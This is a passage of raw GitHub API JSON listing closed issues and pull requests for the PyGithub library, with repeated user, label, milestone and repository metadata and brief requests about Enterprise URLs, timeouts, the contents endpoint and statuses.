look like any of them use data_files for installing documentation."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/57","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/57/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/57/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/57/events","html_url":"https://github.com/jacquev6/PyGithub/issues/57","id":5783131,"number":57,"title":"Allows connection to GitHub Enterprise installs on local URLs","user":{"login":"engie","id":1247,"avatar_url":"https://secure.gravatar.com/avatar/37a932b3abe212892173784736ed6b12?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"37a932b3abe212892173784736ed6b12","url":"https://api.github.com/users/engie","html_url":"https://github.com/engie","followers_url":"https://api.github.com/users/engie/followers","following_url":"https://api.github.com/users/engie/following{/other_user}","gists_url":"https://api.github.com/users/engie/gists{/gist_id}","starred_url":"https://api.github.com/users/engie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/engie/subscriptions","organizations_url":"https://api.github.com/users/engie/orgs","repos_url":"https://api.github.com/users/engie/repos","events_url":"https://api.github.com/users/engie/events{/privacy}","received_events_url":"https://api.github.com/users/engie/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/8","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/8/labels","id":150933,"number":8,"title":"Version 1.4","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":3,"state":"closed","created_at":"2012-07-24T16:04:28Z","updated_at":"2012-09-11T18:52:13Z","due_on":"2012-08-05T07:00:00Z"},"comments":2,"created_at":"2012-07-23T16:44:06Z","updated_at":"2012-08-04T05:59:15Z","closed_at":"2012-08-04T05:59:15Z","pull_request":{"html_url":"https://github.com/jacquev6/PyGithub/pull/57","diff_url":"https://github.com/jacquev6/PyGithub/pull/57.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/57.patch"},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"This patch allows you to use the module with local (i.e. Enterprise) GitHub installs. Passes the tests here, defaults to connecting to api.github.com."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/62","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/62/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/62/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/62/events","html_url":"https://github.com/jacquev6/PyGithub/issues/62","id":6454054,"number":62,"title":"Add timeout option","user":{"login":"xobb1t","id":344095,"avatar_url":"https://secure.gravatar.com/avatar/ae8a2af3de601885a14bb71240e5d1a6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"ae8a2af3de601885a14bb71240e5d1a6","url":"https://api.github.com/users/xobb1t","html_url":"https://github.com/xobb1t","followers_url":"https://api.github.com/users/xobb1t/followers","following_url":"https://api.github.com/users/xobb1t/following{/other_user}","gists_url":"https://api.github.com/users/xobb1t/gists{/gist_id}","starred_url":"https://api.github.com/users/xobb1t/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/xobb1t/subscriptions","organizations_url":"https://api.github.com/users/xobb1t/orgs","repos_url":"https://api.github.com/users/xobb1t/repos","events_url":"https://api.github.com/users/xobb1t/events{/privacy}","received_events_url":"https://api.github.com/users/xobb1t/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/9","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/9/labels","id":164586,"number":9,"title":"Version 1.5","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":4,"state":"closed","created_at":"2012-08-23T07:44:21Z","updated_at":"2012-09-05T17:56:28Z","due_on":"2012-09-06T07:00:00Z"},"comments":2,"created_at":"2012-08-25T19:42:13Z","updated_at":"2012-09-05T17:23:47Z","closed_at":"2012-09-05T17:23:47Z","pull_request":{"html_url":"https://github.com/jacquev6/PyGithub/pull/62","diff_url":"https://github.com/jacquev6/PyGithub/pull/62.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/62.patch"},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Add support of `timeout` option. Unfortunately drops python < 2.6 support."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/65","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/65/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/65/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/65/events","html_url":"https://github.com/jacquev6/PyGithub/issues/65","id":6641076,"number":65,"title":"GET /repos/:user/:repo/contents/:path","user":{"login":"berndca","id":466654,"avatar_url":"https://secure.gravatar.com/avatar/4a43f97dc0112d95d8d713e2fd2a983b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"4a43f97dc0112d95d8d713e2fd2a983b","url":"https://api.github.com/users/berndca","html_url":"https://github.com/berndca","followers_url":"https://api.github.com/users/berndca/followers","following_url":"https://api.github.com/users/berndca/following{/other_user}","gists_url":"https://api.github.com/users/berndca/gists{/gist_id}","starred_url":"https://api.github.com/users/berndca/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/berndca/subscriptions","organizations_url":"https://api.github.com/users/berndca/orgs","repos_url":"https://api.github.com/users/berndca/repos","events_url":"https://api.github.com/users/berndca/events{/privacy}","received_events_url":"https://api.github.com/users/berndca/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/10","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/10/labels","id":169989,"number":10,"title":"Version 1.6","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":9,"state":"closed","created_at":"2012-09-04T20:12:30Z","updated_at":"2012-09-08T18:00:28Z","due_on":"2012-09-13T07:00:00Z"},"comments":2,"created_at":"2012-09-04T17:42:29Z","updated_at":"2012-09-08T11:06:18Z","closed_at":"2012-09-08T11:06:18Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"I have not been able to figure out how to access the github API request for GET /repos/:user/:repo/contents/[:path] using PyGithub. Perhaps I'm missing something?\n\nPlease advise.\nThanks, Bernd"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/67","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/67/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/67/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/67/events","html_url":"https://github.com/jacquev6/PyGithub/issues/67","id":6653907,"number":67,"title":"Statuses","user":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/10","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/10/labels","id":169989,"number":10,"title":"Version 1.6","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":9,"state":"closed","created_at":"2012-09-04T20:12:30Z","updated_at":"2012-09-08T18:00:28Z","due_on":"2012-09-13T07:00:00Z"},"comments":2,"created_at":"2012-09-05T06:49:54Z","updated_at":"2012-09-08T11:42:27Z","closed_at":"2012-09-08T11:42:27Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API 